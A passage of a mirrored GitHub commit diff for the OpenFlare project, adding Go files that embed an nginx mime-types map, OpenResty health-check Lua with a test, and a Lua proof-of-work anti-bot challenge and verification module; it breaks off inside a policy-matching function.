mirror of
https://github.com/Rain-kl/OpenFlare.git
synced 2026-10-07 16:16:37 +08:00
refactor(backend): rename OpenFlare directory to lowercase openflare
This commit is contained in:
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,102 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
// DefaultMimeTypes is the embedded nginx mime.types map used by generated configs.
|
||||
const DefaultMimeTypes = `
|
||||
types {
|
||||
text/html html htm shtml;
|
||||
text/css css;
|
||||
text/xml xml;
|
||||
image/gif gif;
|
||||
image/jpeg jpeg jpg;
|
||||
application/javascript js;
|
||||
application/atom+xml atom;
|
||||
application/rss+xml rss;
|
||||
|
||||
text/mathml mml;
|
||||
text/plain txt;
|
||||
text/vnd.sun.j2me.app-descriptor jad;
|
||||
text/vnd.wap.wml wml;
|
||||
text/x-component htc;
|
||||
|
||||
image/png png;
|
||||
image/svg+xml svg svgz;
|
||||
image/tiff tif tiff;
|
||||
image/vnd.wap.wbmp wbmp;
|
||||
image/webp webp;
|
||||
image/x-icon ico;
|
||||
image/x-jng jng;
|
||||
image/x-ms-bmp bmp;
|
||||
|
||||
application/font-woff woff;
|
||||
application/java-archive jar war ear;
|
||||
application/json json;
|
||||
application/mac-binhex40 hqx;
|
||||
application/msword doc;
|
||||
application/pdf pdf;
|
||||
application/postscript ps eps ai;
|
||||
application/rtf rtf;
|
||||
application/vnd.apple.mpegurl m3u8;
|
||||
application/vnd.google-earth.kml+xml kml;
|
||||
application/vnd.google-earth.kmz kmz;
|
||||
application/vnd.ms-excel xls;
|
||||
application/vnd.ms-fontobject eot;
|
||||
application/vnd.ms-powerpoint ppt;
|
||||
application/vnd.oasis.opendocument.graphics odg;
|
||||
application/vnd.oasis.opendocument.presentation odp;
|
||||
application/vnd.oasis.opendocument.spreadsheet ods;
|
||||
application/vnd.oasis.opendocument.text odt;
|
||||
application/vnd.openxmlformats-officedocument.presentationml.presentation
|
||||
pptx;
|
||||
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
|
||||
xlsx;
|
||||
application/vnd.openxmlformats-officedocument.wordprocessingml.document
|
||||
docx;
|
||||
application/vnd.wap.wmlc wmlc;
|
||||
application/x-7z-compressed 7z;
|
||||
application/x-cocoa cco;
|
||||
application/x-java-archive-diff jardiff;
|
||||
application/x-java-jnlp-file jnlp;
|
||||
application/x-makeself run;
|
||||
application/x-perl pl pm;
|
||||
application/x-pilot prc pdb;
|
||||
application/x-rar-compressed rar;
|
||||
application/x-redhat-package-manager rpm;
|
||||
application/x-sea sea;
|
||||
application/x-shockwave-flash swf;
|
||||
application/x-stuffit sit;
|
||||
application/x-tcl tcl tk;
|
||||
application/x-x509-ca-cert der pem crt;
|
||||
application/x-xpinstall xpi;
|
||||
application/xhtml+xml xhtml;
|
||||
application/xspf+xml xspf;
|
||||
application/zip zip;
|
||||
|
||||
application/octet-stream bin exe dll;
|
||||
application/octet-stream deb;
|
||||
application/octet-stream dmg;
|
||||
application/octet-stream iso img;
|
||||
application/octet-stream msi msp msm;
|
||||
|
||||
audio/midi mid midi kar;
|
||||
audio/mpeg mp3;
|
||||
audio/ogg ogg;
|
||||
audio/x-m4a m4a;
|
||||
audio/x-realaudio ra;
|
||||
|
||||
video/3gpp 3gpp 3gp;
|
||||
video/mp2t ts;
|
||||
video/mp4 mp4;
|
||||
video/mpeg mpeg mpg;
|
||||
video/quicktime mov;
|
||||
video/webm webm;
|
||||
video/x-flv flv;
|
||||
video/x-m4v m4v;
|
||||
video/x-mng mng;
|
||||
video/x-ms-asf asx asf;
|
||||
video/x-ms-wmv wmv;
|
||||
video/x-msvideo avi;
|
||||
}
|
||||
`
|
||||
@@ -0,0 +1,67 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import "Wavelet/openflare/plugins/agent/protocol"
|
||||
|
||||
// Local OpenResty observability endpoint (target model):
|
||||
// GET /openflare/observability returns instantaneous health/connections only.
|
||||
// Business traffic is collected exclusively from access.log.
|
||||
|
||||
const openRestyObservabilityInitLua = `return
|
||||
`
|
||||
|
||||
// log.lua no longer accumulates business counters (access.log is the authority).
|
||||
const openRestyObservabilityLogLua = `return
|
||||
`
|
||||
|
||||
// read.lua exposes stub_status-style connection gauges as JSON.
|
||||
const openRestyObservabilityReadLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local function read_stub_status()
|
||||
local res = ngx.location.capture("/openflare/stub_status")
|
||||
if not res or res.status ~= 200 or not res.body then
|
||||
return nil
|
||||
end
|
||||
local body = res.body
|
||||
local active = tonumber(string.match(body, "Active connections:%s*(%d+)")) or 0
|
||||
local reading = tonumber(string.match(body, "Reading:%s*(%d+)")) or 0
|
||||
local writing = tonumber(string.match(body, "Writing:%s*(%d+)")) or 0
|
||||
local waiting = tonumber(string.match(body, "Waiting:%s*(%d+)")) or 0
|
||||
return {
|
||||
active = active,
|
||||
reading = reading,
|
||||
writing = writing,
|
||||
waiting = waiting
|
||||
}
|
||||
end
|
||||
|
||||
local connections = read_stub_status()
|
||||
local payload = {
|
||||
ok = connections ~= nil,
|
||||
captured_at_unix = ngx.time(),
|
||||
connections = connections or {
|
||||
active = 0,
|
||||
reading = 0,
|
||||
writing = 0,
|
||||
waiting = 0
|
||||
}
|
||||
}
|
||||
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.status = ngx.HTTP_OK
|
||||
ngx.say(cjson.encode(payload))
|
||||
`
|
||||
|
||||
// ManagedObservabilityLuaFiles returns embedded Lua assets for OpenResty observability.
|
||||
func ManagedObservabilityLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "init.lua", Content: openRestyObservabilityInitLua},
|
||||
{Path: "log.lua", Content: openRestyObservabilityLogLua},
|
||||
{Path: "read.lua", Content: openRestyObservabilityReadLua},
|
||||
{Path: "observability/init.lua", Content: openRestyObservabilityInitLua},
|
||||
{Path: "observability/log.lua", Content: openRestyObservabilityLogLua},
|
||||
{Path: "observability/read.lua", Content: openRestyObservabilityReadLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestManagedObservabilityLuaIsHealthOnly(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
files := ManagedObservabilityLuaFiles()
|
||||
var logLua, readLua string
|
||||
for _, file := range files {
|
||||
switch file.Path {
|
||||
case "log.lua":
|
||||
logLua = file.Content
|
||||
case "read.lua":
|
||||
readLua = file.Content
|
||||
}
|
||||
}
|
||||
if logLua == "" || readLua == "" {
|
||||
t.Fatal("expected log.lua and read.lua")
|
||||
}
|
||||
// Business counters must not be written in log phase.
|
||||
if strings.Contains(logLua, "openresty_rx_bytes") ||
|
||||
strings.Contains(logLua, "request_count") {
|
||||
t.Fatal("log.lua must not accumulate business counters")
|
||||
}
|
||||
if !strings.Contains(readLua, "connections") || !strings.Contains(readLua, "ok") {
|
||||
t.Fatal("read.lua must expose ok + connections health snapshot")
|
||||
}
|
||||
if strings.Contains(readLua, "top_domains") || strings.Contains(readLua, "request_count") {
|
||||
t.Fatal("read.lua must not expose business traffic aggregates")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,694 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
//go:embed pow_static
|
||||
var powStaticFS embed.FS
|
||||
|
||||
const openRestyPowRuntimeLua = `local _M = {}
|
||||
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local policy = require "pow.policy"
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
local cjson = require "cjson.safe"
|
||||
|
||||
local function session_cookie(value, ttl)
|
||||
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
|
||||
if ngx.var.scheme == "https" then cookie = cookie .. "; Secure" end
|
||||
return cookie
|
||||
end
|
||||
|
||||
-- evaluate is called by a DAG pow node. true continues along its next edge;
|
||||
-- false means the challenge flow has taken ownership of the request.
|
||||
function _M.evaluate(config)
|
||||
config = config or {}
|
||||
ngx.ctx.openflare_pow_config = config
|
||||
|
||||
local host = ngx.var.host
|
||||
if not host or host == "" then return true end
|
||||
local session_ttl = config.session_ttl or 600
|
||||
local uri = ngx.var.uri or ""
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
local remote_ip = ngx.var.remote_addr or ""
|
||||
|
||||
if policy.match_any(remote_ip, ua, uri, config.whitelist or {}) then return true end
|
||||
local blacklist = config.blacklist or {}
|
||||
if policy.has_entries(blacklist) and not policy.match_any(remote_ip, ua, uri, blacklist) then return true end
|
||||
|
||||
local cookie_val = ngx.var["cookie___openflare_pow"]
|
||||
if cookie_val and cookie_val ~= "" then
|
||||
local session_key = host .. ":" .. cookie_val
|
||||
if pow_sessions:get(session_key) then
|
||||
pow_sessions:set(session_key, "1", session_ttl)
|
||||
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
local api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
if string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix then
|
||||
return false
|
||||
end
|
||||
|
||||
local config_key = "_request_config:" .. (ngx.var.request_id or ngx.md5(host .. uri .. tostring(ngx.now())))
|
||||
pow_config_dict:set(config_key, cjson.encode(config), config.challenge_ttl or 300)
|
||||
local challenge_args = {
|
||||
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
|
||||
host = host,
|
||||
openflare_pow_config_key = config_key,
|
||||
}
|
||||
ngx.req.set_uri_args(challenge_args)
|
||||
ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge", challenge_args)
|
||||
return false
|
||||
end
|
||||
|
||||
-- Compatibility entrypoint for old rendered routes. PoW selection now belongs
|
||||
-- exclusively to WAF graph nodes, so this function intentionally does nothing.
|
||||
function _M.check()
|
||||
return true
|
||||
end
|
||||
|
||||
return _M
|
||||
`
|
||||
|
||||
/* Removed legacy request-time configuration scanner. Graph execution now calls
|
||||
evaluate(config) with the reached node.
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local cjson = require "cjson.safe"
|
||||
local policy = require "pow.policy"
|
||||
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
|
||||
local function session_cookie(value, ttl)
|
||||
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
|
||||
if ngx.var.scheme == "https" then
|
||||
cookie = cookie .. "; Secure"
|
||||
end
|
||||
return cookie
|
||||
end
|
||||
|
||||
-- Lazy-load pow_config from file; reload when content changes
|
||||
local function load_pow_config()
|
||||
local config_paths = {
|
||||
"__OPENFLARE_RUNTIME_CONFIG_DIR__/waf_config.json",
|
||||
"/etc/nginx/openflare-lua/waf_config.json",
|
||||
"/usr/local/openresty/nginx/conf/waf_config.json"
|
||||
}
|
||||
for _, config_path in ipairs(config_paths) do
|
||||
local f = io.open(config_path, "r")
|
||||
if f then
|
||||
local content = f:read("*a")
|
||||
f:close()
|
||||
local current_hash = ngx.md5(content or "")
|
||||
|
||||
if current_hash == pow_config_dict:get("_config_hash") then
|
||||
return
|
||||
end
|
||||
|
||||
-- Clear old domain/site entries
|
||||
local old_keys = pow_config_dict:get("_domain_keys")
|
||||
if old_keys then
|
||||
for domain in string.gmatch(old_keys, "[^\n]+") do
|
||||
pow_config_dict:delete(domain)
|
||||
end
|
||||
end
|
||||
|
||||
local domain_keys = {}
|
||||
if content and content ~= "" and content ~= "{}" then
|
||||
local ok, decoded = pcall(cjson.decode, content)
|
||||
if ok and decoded and decoded.rule_groups and decoded.site_rule_groups then
|
||||
-- Build rule groups map (group ID -> PoWConfig)
|
||||
local groups = {}
|
||||
for _, group in ipairs(decoded.rule_groups) do
|
||||
if group.pow_enabled then
|
||||
groups[tostring(group.id)] = group.pow_config or {}
|
||||
end
|
||||
end
|
||||
-- Build site name to pow_config map
|
||||
for site, group_ids in pairs(decoded.site_rule_groups) do
|
||||
local pow_config = nil
|
||||
-- Check custom group IDs first
|
||||
for _, id in ipairs(group_ids) do
|
||||
pow_config = groups[tostring(id)]
|
||||
if pow_config then
|
||||
break
|
||||
end
|
||||
end
|
||||
-- If not found, check global group IDs
|
||||
if not pow_config then
|
||||
for _, group in ipairs(decoded.rule_groups) do
|
||||
if group.is_global and group.pow_enabled then
|
||||
pow_config = group.pow_config or {}
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if pow_config ~= nil then
|
||||
pow_config_dict:set(site, cjson.encode({enabled = true, config = pow_config}), 0)
|
||||
domain_keys[#domain_keys+1] = site
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
pow_config_dict:set("_domain_keys", table.concat(domain_keys, "\n"), 0)
|
||||
pow_config_dict:set("_config_hash", current_hash, 0)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
if pow_config_dict:add("_pow_unreadable_config_logged", true, 60) then
|
||||
ngx.log(ngx.WARN, "openflare pow config is not readable by worker; check directory permissions under ", "__OPENFLARE_RUNTIME_CONFIG_DIR__")
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
load_pow_config()
|
||||
|
||||
local host = ngx.var.host
|
||||
if not host or host == "" then
|
||||
return
|
||||
end
|
||||
|
||||
local site = ngx.var.openflare_waf_site or ""
|
||||
if site == "" then
|
||||
return
|
||||
end
|
||||
|
||||
local config_raw = pow_config_dict:get(site)
|
||||
if not config_raw then
|
||||
return
|
||||
end
|
||||
|
||||
local ok, route_config = pcall(cjson.decode, config_raw)
|
||||
if not ok or not route_config then
|
||||
return
|
||||
end
|
||||
|
||||
if not route_config.enabled then
|
||||
return
|
||||
end
|
||||
|
||||
local config = route_config.config or {}
|
||||
local session_ttl = config.session_ttl or 600
|
||||
local uri = ngx.var.uri or ""
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
local remote_ip = ngx.var.remote_addr or ""
|
||||
|
||||
-- Check whitelist: if matched, skip PoW
|
||||
local whitelist = config.whitelist or {}
|
||||
if policy.match_any(remote_ip, ua, uri, whitelist) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Check blacklist: if matched, require PoW
|
||||
local blacklist = config.blacklist or {}
|
||||
local has_blacklist = policy.has_entries(blacklist)
|
||||
local need_pow = false
|
||||
if has_blacklist then
|
||||
need_pow = policy.match_any(remote_ip, ua, uri, blacklist)
|
||||
else
|
||||
-- No blacklist means all non-whitelisted need PoW
|
||||
need_pow = true
|
||||
end
|
||||
|
||||
if not need_pow then
|
||||
return
|
||||
end
|
||||
|
||||
-- Check valid session cookie
|
||||
local cookie_val = ngx.var["cookie___openflare_pow"]
|
||||
if cookie_val and cookie_val ~= "" then
|
||||
local session_key = host .. ":" .. cookie_val
|
||||
local session_data = pow_sessions:get(session_key)
|
||||
if session_data then
|
||||
pow_sessions:set(session_key, "1", session_ttl)
|
||||
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
-- If requesting the challenge API endpoints, let them through (handled by content_by_lua)
|
||||
local anubis_api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local anubis_static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
if string.sub(uri, 1, #anubis_api_prefix) == anubis_api_prefix then
|
||||
return
|
||||
end
|
||||
if string.sub(uri, 1, #anubis_static_prefix) == anubis_static_prefix then
|
||||
return
|
||||
end
|
||||
|
||||
-- Render the challenge page through an internal redirect so the browser stays
|
||||
-- on the originally requested URL instead of seeing a 302 hop.
|
||||
ngx.req.set_uri_args({
|
||||
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
|
||||
host = host
|
||||
})
|
||||
return ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge")
|
||||
end
|
||||
|
||||
return _M
|
||||
*/
|
||||
|
||||
const openRestyPowCheckLua = `local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
return require("pow.runtime").check()
|
||||
`
|
||||
|
||||
const openRestyPowChallengeLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local pow_challenges = ngx.shared.openflare_pow_challenges
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
|
||||
local function generate_entropy()
|
||||
local pieces = {
|
||||
tostring(ngx.now()),
|
||||
tostring(ngx.worker.pid()),
|
||||
tostring(math.random()),
|
||||
ngx.var.remote_addr or "",
|
||||
ngx.var.http_user_agent or "",
|
||||
ngx.var.request_id or "",
|
||||
}
|
||||
return table.concat(pieces, ":")
|
||||
end
|
||||
|
||||
local args = ngx.req.get_uri_args()
|
||||
local host = args["host"] or ngx.var.host or ""
|
||||
local redir = args["redir"] or ""
|
||||
|
||||
local config = ngx.ctx.openflare_pow_config
|
||||
local config_key = args["openflare_pow_config_key"] or ""
|
||||
if type(config) ~= "table" and config_key ~= "" then
|
||||
local config_raw = pow_config_dict:get(config_key)
|
||||
if config_raw then
|
||||
config = cjson.decode(config_raw)
|
||||
end
|
||||
end
|
||||
if config_key ~= "" then pow_config_dict:delete(config_key) end
|
||||
if type(config) ~= "table" then
|
||||
ngx.status = 403
|
||||
ngx.say("PoW graph node was not evaluated for this request")
|
||||
return
|
||||
end
|
||||
local difficulty = config.difficulty or 4
|
||||
local algorithm = config.algorithm or "fast"
|
||||
local challenge_ttl = config.challenge_ttl or 300
|
||||
local session_ttl = config.session_ttl or 600
|
||||
|
||||
-- Generate challenge data without depending on ngx.random_bytes, which is not
|
||||
-- available in every OpenResty runtime build.
|
||||
local entropy = generate_entropy()
|
||||
local challenge_id = ngx.md5(entropy .. ":id")
|
||||
local challenge_data = ngx.md5(entropy .. ":data-a") .. ngx.md5(entropy .. ":data-b")
|
||||
|
||||
-- Store challenge
|
||||
local challenge_info = cjson.encode({
|
||||
data = challenge_data,
|
||||
difficulty = difficulty,
|
||||
host = host,
|
||||
redir = redir,
|
||||
session_ttl = session_ttl
|
||||
})
|
||||
pow_challenges:set(challenge_id, challenge_info, challenge_ttl)
|
||||
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
local accept_lang = ngx.var.http_accept_language or ""
|
||||
local lang = "en"
|
||||
if string.find(accept_lang, "zh") then
|
||||
lang = "zh-CN"
|
||||
end
|
||||
|
||||
local t_title = "Making sure you're not a bot!"
|
||||
local t_status = "Loading..."
|
||||
local t_protected = "This site is protected by a Proof-of-Work challenge. Your browser will solve a small puzzle before the upstream response is shown."
|
||||
local t_why = "Why am I seeing this?"
|
||||
local t_why_desc = "OpenFlare is asking your browser to complete a lightweight computation to distinguish normal browser traffic from automated abuse. This should finish automatically."
|
||||
local t_noscript = "JavaScript is required to pass this verification. Please enable JavaScript and reload."
|
||||
|
||||
if lang == "zh-CN" then
|
||||
t_title = "正在确认你是不是机器人!"
|
||||
t_status = "加载中..."
|
||||
t_protected = "本网站受工作量证明(Proof-of-Work)挑战保护。在显示源站响应之前,您的浏览器将解决一个微型谜题。"
|
||||
t_why = "为什么我会看到这个?"
|
||||
t_why_desc = "OpenFlare 正在要求您的浏览器完成一项轻量级计算,以区分正常的浏览器流量和自动化的恶意请求。这应该会自动完成。"
|
||||
t_noscript = "很遗憾,您必须启用 JavaScript 才能通过这项验证。请开启 JavaScript 并刷新页面。"
|
||||
end
|
||||
|
||||
ngx.header.content_type = "text/html; charset=utf-8"
|
||||
ngx.say([[<!DOCTYPE html>
|
||||
<html lang="]] .. lang .. [[">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex,nofollow">
|
||||
<title>]] .. t_title .. [[</title>
|
||||
<link rel="stylesheet" href="]] .. static_prefix .. [[css/xess.css">
|
||||
<style>
|
||||
body,html{height:100%;display:flex;justify-content:center;align-items:center;margin-left:auto;margin-right:auto}
|
||||
.centered-div{text-align:center}
|
||||
#status{font-variant-numeric:tabular-nums}
|
||||
#progress{display:none;width:min(20rem,90%);height:2rem;border-radius:1rem;overflow:hidden;margin:1rem 0 2rem;outline-offset:2px;outline:#b16286 solid 4px}
|
||||
.bar-inner{background-color:#b16286;height:100%;width:0;transition:width .25s ease-in}
|
||||
</style>
|
||||
<script id="anubis_version" type="application/json">"openflare-pow"</script>
|
||||
<script id="anubis_challenge" type="application/json">]] .. cjson.encode({
|
||||
challenge = {
|
||||
id = challenge_id,
|
||||
randomData = challenge_data,
|
||||
method = algorithm
|
||||
},
|
||||
rules = {
|
||||
difficulty = difficulty,
|
||||
algorithm = algorithm
|
||||
}
|
||||
}) .. [[</script>
|
||||
<script id="anubis_base_prefix" type="application/json">""</script>
|
||||
<script id="anubis_public_url" type="application/json">"__openflare_internal__"</script>
|
||||
</head>
|
||||
<body id="top">
|
||||
<main>
|
||||
<h1 id="title" class="centered-div">]] .. t_title .. [[</h1>
|
||||
<div class="centered-div">
|
||||
<img id="image" style="width:100%;max-width:256px;" src="]] .. static_prefix .. [[img/pensive.webp?cacheBuster=openflare-pow">
|
||||
<p id="status">]] .. t_status .. [[</p>
|
||||
<p>]] .. t_protected .. [[</p>
|
||||
<div id="progress" role="progressbar" aria-labelledby="status"><div class="bar-inner"></div></div>
|
||||
<details>
|
||||
<summary>]] .. t_why .. [[</summary>
|
||||
<p>]] .. t_why_desc .. [[</p>
|
||||
</details>
|
||||
<noscript><p>]] .. t_noscript .. [[</p></noscript>
|
||||
</div>
|
||||
</main>
|
||||
<script type="module" src="]] .. static_prefix .. [[js/main.mjs"></script>
|
||||
</body>
|
||||
</html>]])
|
||||
`
|
||||
|
||||
const openRestyPowVerifyLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local pow_challenges = ngx.shared.openflare_pow_challenges
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
|
||||
local site = ngx.var.openflare_waf_site or ""
|
||||
if site == "" then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "PoW site not resolved; openflare_waf_site is required"}))
|
||||
return
|
||||
end
|
||||
|
||||
local args = ngx.req.get_uri_args()
|
||||
local challenge_id = args["id"] or ""
|
||||
local response = args["response"] or ""
|
||||
local nonce_str = args["nonce"] or ""
|
||||
local redir = args["redir"] or ""
|
||||
local elapsed = args["elapsedTime"] or ""
|
||||
|
||||
if challenge_id == "" or response == "" or nonce_str == "" then
|
||||
ngx.status = 400
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "missing parameters"}))
|
||||
return
|
||||
end
|
||||
|
||||
local nonce = tonumber(nonce_str)
|
||||
if not nonce then
|
||||
ngx.status = 400
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "invalid nonce"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Get stored challenge
|
||||
local challenge_raw = pow_challenges:get(challenge_id)
|
||||
if not challenge_raw then
|
||||
ngx.status = 410
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "challenge expired or not found"}))
|
||||
return
|
||||
end
|
||||
|
||||
local ok, challenge_info = pcall(cjson.decode, challenge_raw)
|
||||
if not ok or not challenge_info then
|
||||
ngx.status = 500
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "invalid challenge data"}))
|
||||
return
|
||||
end
|
||||
|
||||
local challenge_data = challenge_info.data or ""
|
||||
local difficulty = challenge_info.difficulty or 4
|
||||
local host = challenge_info.host or ngx.var.host or ""
|
||||
local session_ttl = challenge_info.session_ttl or 600
|
||||
|
||||
-- Compute SHA-256(challenge_data + nonce)
|
||||
local calc_string = challenge_data .. tostring(math.floor(nonce))
|
||||
local calculated = ngx.sha1_bin ~= nil and "" or ""
|
||||
|
||||
-- Use resty.sha256 for proper SHA-256
|
||||
local sha256 = require "resty.sha256"
|
||||
local str = require "resty.string"
|
||||
local hasher = sha256:new()
|
||||
hasher:update(calc_string)
|
||||
local hash_bytes = hasher:final()
|
||||
local hash_hex = str.to_hex(hash_bytes)
|
||||
|
||||
-- Verify hash matches response
|
||||
if hash_hex ~= string.lower(response) then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "hash mismatch"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Verify difficulty (leading zeros in hex)
|
||||
local prefix = string.rep("0", difficulty)
|
||||
if string.sub(hash_hex, 1, difficulty) ~= prefix then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "insufficient difficulty"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Invalidate challenge (prevent replay)
|
||||
pow_challenges:delete(challenge_id)
|
||||
|
||||
-- Generate session token
|
||||
local session_token = str.to_hex(ngx.sha1_bin(challenge_id .. ngx.now() .. tostring(ngx.worker.pid())))
|
||||
|
||||
-- Store session
|
||||
pow_sessions:set(host .. ":" .. session_token, "1", session_ttl)
|
||||
|
||||
-- Set cookie. Secure cookies are not sent over HTTP, so only add Secure when
|
||||
-- the current request itself is HTTPS.
|
||||
local cookie = "__openflare_pow=" .. session_token .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(session_ttl)
|
||||
if ngx.var.scheme == "https" then
|
||||
cookie = cookie .. "; Secure"
|
||||
end
|
||||
ngx.header["Set-Cookie"] = cookie
|
||||
|
||||
if redir ~= "" then
|
||||
return ngx.redirect(redir)
|
||||
end
|
||||
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({ok = true}))
|
||||
`
|
||||
|
||||
const openRestyPowPolicyLua = `local M = {}
|
||||
|
||||
local function match_ip(remote_ip, ips)
|
||||
if not ips or #ips == 0 then return false end
|
||||
for _, ip in ipairs(ips) do
|
||||
if ip == remote_ip then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_cidr(remote_ip, cidrs)
|
||||
if not cidrs or #cidrs == 0 then return false end
|
||||
for _, cidr in ipairs(cidrs) do
|
||||
local m, err = ngx.re.match(cidr, "^(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})/(\\\\d{1,2})$")
|
||||
if m then
|
||||
local mask_bits = tonumber(m[2])
|
||||
if mask_bits and mask_bits >= 0 and mask_bits <= 32 then
|
||||
local function ip_to_num(ip_str)
|
||||
local parts = {}
|
||||
for part in string.gmatch(ip_str, "%d+") do
|
||||
parts[#parts+1] = tonumber(part) or 0
|
||||
end
|
||||
if #parts ~= 4 then return 0 end
|
||||
return parts[1]*16777216 + parts[2]*65536 + parts[3]*256 + parts[4]
|
||||
end
|
||||
local remote_num = ip_to_num(remote_ip)
|
||||
local net_num = ip_to_num(m[1])
|
||||
if mask_bits == 0 then
|
||||
return true
|
||||
end
|
||||
local mask = math.floor(2^(32 - mask_bits))
|
||||
mask = 4294967296 - mask
|
||||
if bit.band(remote_num, mask) == bit.band(net_num, mask) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_path(uri, patterns)
|
||||
if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
local ok, match = pcall(ngx.re.match, uri, "^" .. ngx.re.gsub(pattern, "([%^%$%(%)%%%.%[%]%+%-%?])", function(c)
|
||||
if c == "*" then return ".*" end
|
||||
return "%" .. c
|
||||
end) .. "$", "i")
|
||||
if ok and match then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_path_regex(uri, patterns)
|
||||
